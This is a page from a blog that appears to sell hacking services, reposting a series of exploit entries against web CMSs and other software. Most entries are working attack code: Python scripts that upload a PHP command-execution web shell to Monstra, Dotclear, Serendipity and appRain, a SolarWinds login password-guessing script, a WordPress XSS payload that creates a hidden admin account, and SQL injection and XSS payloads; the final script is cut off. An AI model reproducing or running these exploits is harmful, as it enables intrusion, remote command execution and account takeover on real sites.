Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863108942

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Monstra CMS 3.0.4 - Remote Code Execution (RCE)
# Date: 05.05.2024
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://monstra.org/
# Software Link: https://monstra.org/monstra-3.0.4.zip
# Version: 3.0.4
# Tested on: MacOS

import requests
import random
import string
import time
import re
import sys

if len(sys.argv) < 4:
print("Usage: python3 script.py <url> <username> <password>")
sys.exit(1)

base_url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]

session = requests.Session()

login_url = f'{base_url}/admin/index.php?id=dashboard'
login_data = {
'login': username,
'password': password,
'login_submit': 'Log+In'
}

filename = ''.join(random.choices(string.ascii_lowercase + string.digits, k=
5))

print("Logging in...")
response = session.post(login_url, data=login_data)

if 'Dashboard' in response.text:
print("Login successful")
else:
print("Login failed")
exit()

time.sleep(3)

edit_url = f'{base_url}/admin/index.php?id=themes&action=add_chunk'
response = session.get(edit_url) # CSRF token bulmak için edit sayfasına
erişim

token_search = re.search(r'input type="hidden" id="csrf" name="csrf" value="
(.*?)"', response.text)
if token_search:
token = token_search.group(1)
else:
print("CSRF token could not be found.")
exit()

content = '''
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
</html>
'''

edit_data = {
'csrf': token,
'name': filename,
'content': content,
'add_file': 'Save'
}

print("Preparing shell...")
response = session.post(edit_url, data=edit_data)
time.sleep(3)

if response.status_code == 200:
print(f"Your shell is ready: {base_url}/public/themes/default/{filename}
.chunk.php")
else:
print("Failed to prepare shell.")
HireHackking 
# Exploit Title: Dotclear 2.29 - Remote Code Execution (RCE)
# Discovered by: Ahmet Ümit BAYRAM
# Discovered Date: 26.04.2024
# Vendor Homepage: https://git.dotclear.org/explore/repos
# Software Link:
https://github.com/dotclear/dotclear/archive/refs/heads/master.zip
# Tested Version: v2.29 (latest)
# Tested on: MacOS

import requests
import time
import random
import string
from bs4 import BeautifulSoup

def generate_filename(extension=".inc"):
return ''.join(random.choices(string.ascii_letters + string.digits, k=5)) +
extension

def get_csrf_token(response_text):
soup = BeautifulSoup(response_text, 'html.parser')
token = soup.find('input', {'name': 'xd_check'})
return token['value'] if token else None

def login(base_url, username, password):
print("Exploiting...")
time.sleep(1)
print("Logging in...")
time.sleep(1)
session = requests.Session()
login_data = {
"user_id": username,
"user_pwd": password
}
login_url = f"{base_url}/admin/index.php?process=Auth"
login_response = session.post(login_url, data=login_data)
if "Logout" in login_response.text:
print("Login Successful!")
return session
else:
print("Login Failed!")
return None

def upload_file(session, base_url, filename):
print("Shell Preparing...")
time.sleep(1)
boundary = "---------------------------376201441124932790524235275389"
headers = {
"Content-Type": f"multipart/form-data; boundary={boundary}",
"X-Requested-With": "XMLHttpRequest"
}
csrf_token = get_csrf_token(session.get(f"{base_url}
/admin/index.php?process=Media").text)
payload = (
f"--{boundary}\r\n"
f"Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n\r\n"
f"2097152\r\n"
f"--{boundary}\r\n"
f"Content-Disposition: form-data; name=\"xd_check\"\r\n\r\n"
f"{csrf_token}\r\n"
f"--{boundary}\r\n"
f"Content-Disposition: form-data; name=\"upfile[]\"; filename=\"{filename}
\"\r\n"
f"Content-Type: image/jpeg\r\n\r\n"
"<html>\n<body>\n<form method=\"GET\" name=\"<?php echo
basename($_SERVER['PHP_SELF']); ?>\">\n"
"<input type=\"TEXT\" name=\"cmd\" autofocus id=\"cmd\" size=\"80\">\n<input
type=\"SUBMIT\" value=\"Execute\">\n"
"</form>\n<pre>\n<?php\nif(isset($_GET['cmd']))\n{\nsystem($_GET['cmd']);\n}
\n?>\n</pre>\n</body>\n</html>\r\n"
f"--{boundary}--\r\n"
)
upload_response = session.post(f"{base_url}
/admin/index.php?process=Media&sortby=name&order=asc&nb=30&page=1&q=&file_mode=grid&file_type=&plugin_id=&popup=0&select=0",
headers=headers, data=payload.encode('utf-8'))

if upload_response.status_code == 200:
print(f"Your Shell is Ready: {base_url}/public/{filename}")
else:
print("Exploit Failed!")

def main(base_url, username, password):
filename = generate_filename()
session = login(base_url, username, password)
if session:
upload_file(session, base_url, filename)

if __name__ == "__main__":
import sys
if len(sys.argv) != 4:
print("Usage: python script.py <siteurl> <username> <password>")
else:
base_url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
main(base_url, username, password)
HireHackking 
# Exploit Title: Serendipity 2.5.0 - Remote Code Execution (RCE)
# Discovered by: Ahmet Ümit BAYRAM
# Discovered Date: 26.04.2024
# Vendor Homepage: https://docs.s9y.org/
# Software Link:https://www.s9y.org/latest
# Tested Version: v2.5.0 (latest)
# Tested on: MacOS

import requests
import time
import random
import string
from bs4 import BeautifulSoup

def generate_filename(extension=".inc"):
return ''.join(random.choices(string.ascii_letters + string.digits, k=5)) +
extension

def get_csrf_token(response):
soup = BeautifulSoup(response.text, 'html.parser')
token = soup.find('input', {'name': 'serendipity[token]'})
return token['value'] if token else None

def login(base_url, username, password):
print("Logging in...")
time.sleep(2)
session = requests.Session()
login_page = session.get(f"{base_url}/serendipity_admin.php")
token = get_csrf_token(login_page)
data = {
"serendipity[action]": "admin",
"serendipity[user]": username,
"serendipity[pass]": password,
"submit": "Login",
"serendipity[token]": token
}
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"Referer": f"{base_url}/serendipity_admin.php"
}
response = session.post(f"{base_url}/serendipity_admin.php", data=data,
headers=headers)
if "Add media" in response.text:
print("Login Successful!")
time.sleep(2)
return session
else:
print("Login Failed!")
return None

def upload_file(session, base_url, filename, token):
print("Shell Preparing...")
time.sleep(2)
boundary = "---------------------------395233558031804950903737832368"
headers = {
"Content-Type": f"multipart/form-data; boundary={boundary}",
"Referer": f"{base_url}
/serendipity_admin.php?serendipity[adminModule]=media"
}
payload = (
f"--{boundary}\r\n"
f"Content-Disposition: form-data; name=\"serendipity[token]\"\r\n\r\n"
f"{token}\r\n"
f"--{boundary}\r\n"
f"Content-Disposition: form-data; name=\"serendipity[action]\"\r\n\r\n"
f"admin\r\n"
f"--{boundary}\r\n"
f"Content-Disposition: form-data; name=\"serendipity[adminModule]\"\r\n\r\n"
f"media\r\n"
f"--{boundary}\r\n"
f"Content-Disposition: form-data; name=\"serendipity[adminAction]\"\r\n\r\n"
f"add\r\n"
f"--{boundary}\r\n"
f"Content-Disposition: form-data; name=\"serendipity[userfile][1]\";
filename=\"{filename}\"\r\n"
f"Content-Type: text/html\r\n\r\n"
"<html>\n<body>\n<form method=\"GET\" name=\"<?php echo
basename($_SERVER['PHP_SELF']); ?>\">\n"
"<input type=\"TEXT\" name=\"cmd\" autofocus id=\"cmd\" size=\"80\">\n<input
type=\"SUBMIT\" value=\"Execute\">\n"
"</form>\n<pre>\n<?php\nif(isset($_GET['cmd']))\n{\nsystem($_GET['cmd']);\n}
\n?>\n</pre>\n</body>\n</html>\r\n"
f"--{boundary}--\r\n"
)

response = session.post(f"{base_url}
/serendipity_admin.php?serendipity[adminModule]=media", headers=headers,
data=payload.encode('utf-8'))
if f"File {filename} successfully uploaded as" in response.text:
print(f"Your shell is ready: {base_url}/uploads/{filename}")
else:
print("Exploit Failed!")

def main(base_url, username, password):
filename = generate_filename()
session = login(base_url, username, password)
if session:
token = get_csrf_token(session.get(f"{base_url}
/serendipity_admin.php?serendipity[adminModule]=media"))
upload_file(session, base_url, filename, token)

if __name__ == "__main__":
import sys
if len(sys.argv) != 4:
print("Usage: python script.py <siteurl> <username> <password>")
else:
main(sys.argv[1], sys.argv[2], sys.argv[3])
HireHackking 
# Exploit Title: CMSimple 5.15 - Remote Command Execution
# Date: 04/28/2024
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://www.cmsimple.org
# Software Link: https://www.cmsimple.org/downloads_cmsimple50/CMSimple_5-15.zip
# Version: latest
# Tested on: MacOS

# Log in to SimpleCMS.
# Go to Settings > CMS
# Append ",php" to the end of the Extensions_userfiles field and save it.
# Navigate to Files > Media
# Select and upload shell.php
# Your shell is ready: https://{url}/userfiles/media/shell.php
HireHackking
# Exploit Title: Life Insurance Management Stored System- cross-site scripting (XSS) # Exploit Author: Aslam Anwar Mahimkar # Date: 18-05-2024 # Category: Web application # Vendor Homepage: https://projectworlds.in/ # Software Link: https://projectworlds.in/life-insurance-management-system-in-php/ # Version: AEGON LIFE v1.0 # Tested on: Linux # CVE: CVE-2024-36599 # Description: ---------------- A stored cross-site scripting (XSS) vulnerability in Aegon Life v1.0 allows attackers to execute arbitrary web scripts via a crafted payload injected into the name parameter at insertClient.php. # Payload: ---------------- <script>alert(document.domain)</script> # Attack Vectors: ------------------------- To exploit this vulnerability use <script>alert(document.domain)</script> when user visit Client.php we can see the XSS. # Burp Suite Request: ---------------------------- POST /lims/insertClient.php HTTP/1.1 Host: localhost Content-Length: 30423 Cache-Control: max-age=0 sec-ch-ua: "Not-A.Brand";v="99", "Chromium";v="124" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Linux" Upgrade-Insecure-Requests: 1 Origin: http://localhost Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymKfAe0x95923LzQH User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.60 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://localhost/lims/addClient.php Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=v6g7shnk1mm5vq6i63lklck78n Connection: close ------WebKitFormBoundarymKfAe0x95923LzQH Content-Disposition: form-data; name="client_id" 1716051159 ------WebKitFormBoundarymKfAe0x95923LzQH Content-Disposition: form-data; name="client_password" password ------WebKitFormBoundarymKfAe0x95923LzQH Content-Disposition: form-data; name="name" <script>alert(document.domain)</script> ------WebKitFormBoundarymKfAe0x95923LzQH Content-Disposition: form-data; name="fileToUpload"; filename="runme.jpg_original" Content-Type: application/octet-stream ÿØÿà
HireHackking

XMB 1.9.12.06 - Stored XSS

HACKER · %s · %s

# Exploit Title: Persistent XSS in XMB 1.9.12.06 # Date: 06/12/2024 # Exploit Author: Chokri Hammedi # Vendor Homepage: https://www.xmbforum2.com/ # Software Link: https://www.xmbforum2.com/download/XMB-1.9.12.06.zip # Version: 1.9.12.06 # Tested on: Windows XP # CVE: N/A ## Vulnerability Details A persistent (stored) XSS vulnerability was discovered in XMB 1.9.12.06. The vulnerability allows an attacker to inject malicious JavaScript code into a template or specific fields. This payload is stored on the server and executed in the browser of any user who visits the forum, leading to potential session hijacking, data theft, and other malicious activities. ### XSS in Template An attacker can inject malicious JavaScript code into a template: 1. Login as Admin: Access the XMB Forum with admin privileges. 2. Navigate to the Administration Panel: Go to `/cp.php`, then in "Look & Feel" select "Templates". This will go to `/cp2.php?action=templates`. Select the "footer" template and click edit. 3. Enter Payload: Add the XSS payload in the footer template: <script>alert('XSS');</script> 4. Save the Change: Click "Submit Changes". 5. Trigger the Payload: The XSS payload will trigger anywhere the footer template is rendered. ### XSS in News Ticker An attacker can inject malicious JavaScript code into the News Ticker field of the Front Page Options: 1. Login as Admin: Access the XMB Forum with admin privileges. 2. Navigate to the Administration Panel: Go to `/cp.php`, then in "Settings" go to "Front Page Options". 3. Enter Payload: Add the XSS payload in the "News in Newsticker" field: <img src=x onerror=alert(1)> 4. Save the Change: Click "Submit Changes". 5. Trigger the Payload: The XSS payload will trigger anywhere the News Ticker is displayed eg, home page
HireHackking
# Exploit Title: Life Insurance Management System- SQL injection vulnerability. # Exploit Author: Aslam Anwar Mahimkar # Date: 18-05-2024 # Category: Web application # Vendor Homepage: https://projectworlds.in/ # Software Link: https://projectworlds.in/life-insurance-management-system-in-php/ # Version: AEGON LIFE v1.0 # Tested on: Linux # CVE: CVE-2024-36597 # Description: ---------------- Aegon Life v1.0 was discovered to contain a SQL injection vulnerability via the client_id parameter at clientStatus.php.Important user data or system data may be leaked and system security may be compromised. Then environment is secure and the information can be used by malicious users. # Payload: ------------------ client_id=1511986023%27%20OR%201=1%20--%20a # Steps to reproduce -------------------------- -Login with your creds -Navigate to this directory - /client.php -Click on client Status -Will navigate to /clientStatus.php -Capture the request in burp and inject SQLi query in client_id= filed # Burp Request ------------------- GET /lims/clientStatus.php?client_id=1511986023%27%20OR%201=1%20--%20a HTTP/1.1 Host: localhost sec-ch-ua: "Not-A.Brand";v="99", "Chromium";v="124" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Linux" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.60 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=v6g7shnk1mm5vq6i63lklck78n Connection: close
HireHackking
# Exploit Title: WP-UserOnline 2.88.0 - Stored Cross Site Scripting (XSS) (Authenticated) # Google Dork: inurl:/wp-content/plugins/wp-useronline/ # Date: 2024-06-12 # Exploit Author: Onur Göğebakan # Vendor Homepage: https://github.com/lesterchan/wp-useronline # Software Link: https://downloads.wordpress.org/plugin/wp-useronline.2.88.0.zip # Category: Web Application # Version: 2.88.0 # Tested on: WordPress 6.5.4 - Windows 10 # CVE : CVE-2022-2941 # Explanation: A new administrator user can be added to WordPress using a stored XSS vulnerability. # Exploit: 1. Visit http://poc.test/wp-admin/options-general.php?page=useronline-settings 2. Click Save and intercept the request. 3. Change `naming%5Bbots%5D` parameter value with belowed payload ``` %3Cscript%3E+function+handleResponse%28%29+%7B+var+nonce+%3D+this.responseText.match%28%2Fname%3D%22_wpnonce_create-user%22+value%3D%22%28%5Cw%2B%29%22%2F%29%5B1%5D%3B+var+changeReq+%3D+new+XMLHttpRequest%28%29%3B+changeReq.open%28%27POST%27%2C%27%2Fwp-admin%2Fuser-new.php%27%2Ctrue%29%3B+changeReq.setRequestHeader%28%27Content-Type%27%2C%27application%2Fx-www-form-urlencoded%27%29%3B+var+params+%3D+%27action%3Dcreateuser%26_wpnonce_create-user%3D%27%2Bnonce%2B%27%26_wp_http_referer%3D%252Fwp-admin%252Fuser-new.php%27%2B%27%26user_login%3Dadmin%26email%3Dadmin%2540mail.com%26first_name%3D%26last_name%3D%26url%3D%26pass1%3Dadmin%26pass2%3Dadmin%26pw_weak%3Don%26role%3Dadministrator%26createuser%3DAdd%2BNew%2BUser%27%3B+changeReq.send%28params%29%3B+%7D+var+req+%3D+new+XMLHttpRequest%28%29%3B+req.onload+%3D+handleResponse%3B+req.open%28%27GET%27%2C+%27%2Fwp-admin%2Fuser-new.php%27%2C+true%29%3B+req.send%28%29%3B+%3C%2Fscript%3E ``` 4. Payload executed when user visited http://poc.test/wp-admin/index.php?page=useronline 5. Administrator user added with admin:admin credentials. # Decoded payload ``` function handleResponse() { var nonce = this.responseText.match(/name="_wpnonce_create-user" value="(\w+)"/)[1]; var changeReq = new XMLHttpRequest(); changeReq.open('POST', '/wp-admin/user-new.php', true); changeReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); var params = 'action=createuser&_wpnonce_create-user=' + nonce + '&_wp_http_referer=%2Fwp-admin%2Fuser-new.php' + '&user_login=admin&email=admin%40mail.com&first_name=&last_name=&url=&pass1=admin&pass2=admin&pw_weak=on&role=administrator&createuser=Add+New+User'; changeReq.send(params); } var req = new XMLHttpRequest(); req.onload = handleResponse; req.open('GET', '/wp-admin/user-new.php', true); req.send(); ```
HireHackking

Flatboard 3.2 - Stored Cross-Site Scripting (XSS) (Authenticated)

HACKER · %s · %s

# Exploit Title: Flatboard 3.2 - Stored Cross-Site Scripting (XSS) (Authenticated) # Date: 2024-06-23 # Exploit Author: tmrswrr # Category : Webapps # Vendor Homepage: https://flatboard.org/ # Version: 3.2 # PoC: 1-Login admin panel , go to this url : https://127.0.0.1//Flatboard/index.php/forum 2-Click Add Forum and write in Information field your payload : "><img src=x onerrora=confirm() onerror=confirm(document.cookie)> 3-Save it , you will be payload will be executed
HireHackking

Automad 2.0.0-alpha.4 - Stored Cross-Site Scripting (XSS)

HACKER · %s · %s

# Exploit Title: Automad 2.0.0-alpha.4 - Stored Cross-Site Scripting (XSS) # Date: 20-06-2024 # Exploit Author: Jerry Thomas (w3bn00b3r) # Vendor Homepage: https://automad.org # Software Link: https://github.com/marcantondahmen/automad # Category: Web Application [Flat File CMS] # Version: 2.0.0-alpha.4 # Tested on: Docker version 26.1.4, build 5650f9b | Debian GNU/Linux 11 (bullseye) # Description A persistent (stored) cross-site scripting (XSS) vulnerability has been identified in Automad 2.0.0-alpha.4. This vulnerability enables an attacker to inject malicious JavaScript code into the template body. The injected code is stored within the flat file CMS and is executed in the browser of any user visiting the forum. This can result in session hijacking, data theft, and other malicious activities. # Proof-of-Concept *Step-1:* Login as Admin & Navigate to the endpoint http://localhost/dashboard/home *Step-2:* There will be a default Welcome page. You will find an option to edit it. *Step-3:* Navigate to Content tab or http://localhost/dashboard/page?url=%2F&section=text & edit the block named ***`Main`*** *Step-4:* Enter the XSS Payload - <img src=x onerror=alert(1)> *Request:* POST /_api/page/data HTTP/1.1 Host: localhost Content-Length: 1822 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzHmXQBdtZsTYQYCv Accept: */* Origin: http://localhost Referer: http://localhost/dashboard/page?url=%2F&section=text Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: Automad-8c069df52082beee3c95ca17836fb8e2=d6ef49301b4eb159fbcb392e5137f6cb Connection: close ------WebKitFormBoundaryzHmXQBdtZsTYQYCv Content-Disposition: form-data; name="__csrf__" 49d68bc08cca715368404d03c6f45257b3c0514c7cdf695b3e23b0a4476a4ac1 ------WebKitFormBoundaryzHmXQBdtZsTYQYCv Content-Disposition: form-data; name="__json__" {"data":{"title":"Welcome","+hero":{"blocks":[{"id":"KodzL-KvSZcRyOjlQDYW9Md2rGNtOUph","type":"paragraph","data":{"text":"Testing for xss","large":false},"tunes":{"layout":null,"spacing":{"top":"","right":"","bottom":"","left":""},"className":"","id":""}},{"id":"bO_fxLKL1LLlgtKCSV_wp2sJQkXAsda8","type":"paragraph","data":{"text":"<h1>XSS identified by Jerry</h1>","large":false},"tunes":{"layout":null,"spacing":{"top":"","right":"","bottom":"","left":""},"className":"","id":""}}],"automadVersion":"2.0.0-alpha.4"},"+main":{"blocks":[{"id":"lD9sUJki6gn463oRwjcY_ICq5oQPYZVP","type":"paragraph","data":{"text":"You have successfully installed Automad 2.<br><br><img src=x onerror=alert(1)><br>","large":false},"tunes":{"layout":null,"spacing":{"top":"","right":"","bottom":"","left":""},"className":"","id":""}},{"id":"NR_n3XqFF94kfN0jka5XGbi_-TBEf9ot","type":"buttons","data":{"primaryText":"Visit Dashboard","primaryLink":"/dashboard","primaryStyle":{"borderWidth":"2px","borderRadius":"0.5rem","paddingVertical":"0.5rem","paddingHorizontal":"1.5rem"},"primaryOpenInNewTab":false,"secondaryText":"","secondaryLink":"","secondaryStyle":{"borderWidth":"2px","borderRadius":"0.5rem","paddingHorizontal":"1.5rem","paddingVertical":"0.5rem"},"secondaryOpenInNewTab":true,"justify":"start","gap":"1rem"},"tunes":{"layout":null,"spacing":{"top":"","right":"","bottom":"","left":""},"className":"","id":""}}],"automadVersion":"2.0.0-alpha.4"}},"theme_template":"project","dataFetchTime":"1718911139","url":"/"} ------WebKitFormBoundaryzHmXQBdtZsTYQYCv-- *Response:* HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Thu, 20 Jun 2024 19:17:35 GMT Content-Type: application/json; charset=utf-8 Connection: close X-Powered-By: PHP/8.3.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 30` {"code":200,"time":1718911055} *Step-5:* XSS triggers when you go to homepage - http://localhost/
HireHackking

SolarWinds Platform 2024.1 SR1 - Race Condition

HACKER · %s · %s

# Exploit Title: SolarWinds Platform 2024.1 SR1 - Race Condition # CVE: CVE-2024-28999 # Affected Versions: SolarWinds Platform 2024.1 SR 1 and previous versions # Author: Elhussain Fathy, AKA 0xSphinx import requests import urllib3 import asyncio import aiohttp urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) http = urllib3.PoolManager(cert_reqs='CERT_REQUIRED') # host = '192.168.1.1' # username = "admin" # file_path = "passwords.txt" host = input("Enter the host: ") username = input("Enter the username: ") file_path = input("Enter the passwords file path: ") exploited = 0 url = f"https://{host}:443/Orion/Login.aspx?ReturnUrl=%2F" passwords = [] with open(file_path, 'r') as file: for line in file: word = line.strip() passwords.append(word) print(f"Number of tested passwords: {len(passwords)}") headers = { 'Host': host, } sessions = [] for _ in range(len(passwords)): response = requests.get(url, headers=headers, verify=False, stream=False) cookies = response.headers.get('Set-Cookie', '') session_id = cookies.split('ASP.NET_SessionId=')[1].split(';')[0] sessions.append(session_id) async def send_request(session, username, password): headers = { 'Host': host, 'Content-Type': 'application/x-www-form-urlencoded', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Cookie': f'ASP.NET_SessionId={session}; TestCookieSupport=Supported; Orion_IsSessionExp=TRUE', } data = f'__EVENTTARGET=ctl00%24BodyContent%24LoginButton&__EVENTARGUMENT=&__VIEWSTATE=AEQKNijmHeR5jZhMrrXSjzPRqhTz%2BoTqkfNmc3EcMLtc%2FIjqS37FtvDMFn83yUTgHBJIlMRHwO0UVUVzwcg2cO%2B%2Fo2CEYGVzjB1Ume1UkrvCOFyR08HjFGUJOR4q9GX0fmhVTsvXxy7A2hH64m5FBZTL9dfXDZnQ1gUvFp%2BleWgLTRssEtTuAqQQxOLA3nQ6n9Yx%2FL4QDSnEfB3b%2FlSWw8Xruui0YR5kuN%2BjoOH%2BEC%2B4wfZ1%2BCwYOs%2BLmIMjrK9TDFNcWTUg6HHiAn%2By%2B5wWpsj7qiJG3%2F1uhWb8fFc8Mik%3D&__VIEWSTATEGENERATOR=01070692&ctl00%24BodyContent%24Username={username}&ctl00%24BodyContent%24Password={password}' async with aiohttp.ClientSession() as session: async with session.post(url, headers=headers, data=data, ssl=False, allow_redirects=False) as response: if response.status == 302: global exploited exploited = 1 print(f"Exploited Successfully Username: {username}, Password: {password}") async def main(): tasks = [] for i in range(len(passwords)): session = sessions[i] password = passwords[i] task = asyncio.create_task(send_request(session, username, password)) tasks.append(task) await asyncio.gather(*tasks) asyncio.run(main()) if(not exploited): print("Exploitation Failed")
HireHackking

Azon Dominator Affiliate Marketing Script - SQL Injection

HACKER · %s · %s

# Exploit Title: Azon Dominator - Affiliate Marketing Script - SQL Injection # Date: 2024-06-03 # Exploit Author: Buğra Enis Dönmez # Vendor: https://www.codester.com/items/12775/azon-dominator-affiliate-marketing-script # Demo Site: https://azon-dominator.webister.net/ # Tested on: Arch Linux # CVE: N/A ### Request ### POST /fetch_products.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Accept: */* x-requested-with: XMLHttpRequest Referer: https://localhost/ Cookie: PHPSESSID=crlcn84lfvpe8c3732rgj3gegg; sc_is_visitor_unique=rx12928762.1717438191.4D4FA5E53F654F9150285A1CA42E7E22.8.8.8.8.8.8.8.8.8 Content-Length: 79 Accept-Encoding: gzip,deflate,br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: localhost Connection: Keep-alive cid=1*if(now()=sysdate()%2Csleep(6)%2C0)&max_price=124&minimum_range=0&sort=112 ### ### Parameter & Payloads ### Parameter: cid (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: cid=1) AND 7735=7735 AND (5267=5267 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: cid=1) AND (SELECT 7626 FROM (SELECT(SLEEP(5)))yOxS) AND (8442=8442 ###
HireHackking
# Exploit Title: Bonjour Service - 'mDNSResponder.exe' Unquoted Service Path # Discovery by: bios # Discovery Date: 2024-15-07 # Vendor Homepage: https://developer.apple.com/bonjour/ # Tested Version: 3,0,0,10 # Vulnerability Type: Unquoted Service Path # Tested on OS: Microsoft Windows 10 Home # Step to discover Unquoted Service Path: C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """ Bonjour Service Bonjour Service C:\Program Files\Blizzard\Bonjour Service\mDNSResponder.exe Auto C:\>systeminfo Host Name: DESKTOP-HFBJOBG OS Name: Microsoft Windows 10 Home OS Version: 10.0.19045 N/A Build 19045 PS C:\Program Files\Blizzard\Bonjour Service> powershell -command "(Get-Command .\mDNSResponder.exe).FileVersionInfo.FileVersion" >> 3,0,0,10 #Exploit: There is an Unquoted Service Path in Bonjour Services (mDNSResponder.exe) . This may allow an authorized local user to insert arbitrary code into the unquoted service path and escalate privileges.
HireHackking

SolarWinds Kiwi Syslog Server 9.6.7.1 - Unquoted Service Path

HACKER · %s · %s

# Exploit Title: SolarWinds Kiwi Syslog Server 9.6.7.1 - Unquoted Service Path # Date: 2024-07-31 # Exploit Author: Milad Karimi (Ex3ptionaL) # Contact: miladgrayhat@gmail.com # Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL # MiRROR-H: https://mirror-h.org/search/hacker/49626/ # Vendor Homepage: https://www.kiwisyslog.com/ # Software Link: https://www.kiwisyslog.com/downloads # Version: Software Version 9.6.7.1 # Tested on: Windows 10 Pro x64 1. Description: SolarWinds Kiwi Syslog Server 9.6.7.1 is an affordable software to manage syslog messages, SNMP traps, and Windows event logs 2. Proof C:\>sc qc "Kiwi Syslog Server" [SC] QueryServiceConfig SUCCESS SERVICE_NAME: Kiwi Syslog Server TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : "C:\Program Files (x86)\Syslogd\Syslogd_Service.exe" LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Kiwi Syslog Server DEPENDENCIES : SERVICE_START_NAME : LocalSystem C:\>systeminfo OS Name: Microsoft Windows 10 Pro OS Version: 10.0.19045 N/A Build 19045 OS Manufacturer: Microsoft Corporation
HireHackking

Calibre-web 0.6.21 - Stored XSS

HACKER · %s · %s

# Exploit Title: Stored XSS in Calibre-web # Date: 07/05/2024 # Exploit Authors: Pentest-Tools.com (Catalin Iovita & Alexandru Postolache) # Vendor Homepage: (https://github.com/janeczku/calibre-web/) # Version: 0.6.21 - Romesa # Tested on: Linux 5.15.0-107, Python 3.10.12, lxml 4.9.4 # CVE: CVE-2024-39123 ## Vulnerability Description Calibre-web 0.6.21 is vulnerable to a Stored Cross-Site Scripting (XSS) vulnerability. This vulnerability allows an attacker to inject malicious scripts that get stored on the server and executed in the context of another user's session. ## Steps to Reproduce 1. Log in to the application. 2. Upload a new book. 3. Access the Books List functionality from the `/table?data=list&sort_param=stored` endpoint. 4. In the `Comments` field, input the following payload: <a href=javas%1Bcript:alert()>Hello there!</a> 4. Save the changes. 5. Upon clicking the description on the book that was created, in the Book Details, the payload was successfully injected in the Description field. By clicking on the message, an alert box will appear, indicating the execution of the injected script.
HireHackking

appRain CMF 4.0.5 - Remote Code Execution (RCE) (Authenticated)

HACKER · %s · %s

# Exploit Title: appRain CMF 4.0.5 - Remote Code Execution (RCE) (Authenticated) # Date: 04/28/2024 # Exploit Author: Ahmet Ümit BAYRAM # Vendor Homepage: https://www.apprain.org # Software Link: https://github.com/apprain/apprain/archive/refs/tags/v4.0.5.zip # Version: latest # Tested on: MacOS import requests import sys import time import random import string def generate_filename(): """ Generate a 5-character random string for filename. """ return ''.join(random.choices(string.ascii_lowercase, k=5)) + ".inc" def login(site, username, password): print("Logging in...") time.sleep(2) login_url = f"https://{site}/admin/system" session = requests.Session() login_data = { 'data[Admin][admin_id]': username, 'data[Admin][admin_password]': password } headers = { 'Content-Type': 'application/x-www-form-urlencoded' } response = session.post(login_url, data=login_data, headers=headers) if "Logout" in response.text: print("Login Successful!") return session else: print("Login Failed!") sys.exit() def upload_shell(session, site): print("Shell preparing...") time.sleep(2) filename = generate_filename() upload_url = f"https://{site}/admin/filemanager/upload" files = { 'data[filemanager][image]': (filename, "<html><body><form method='GET' name='<?php echo basename($_SERVER['PHP_SELF']); ?>'><input type='TEXT' name='cmd' autofocus id='cmd' size='80'><input type='SUBMIT' value='Execute'></form><pre><?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?></pre></body></html>", 'image/jpeg') } data = { 'submit': 'Upload' } response = session.post(upload_url, files=files, data=data) if response.status_code == 200 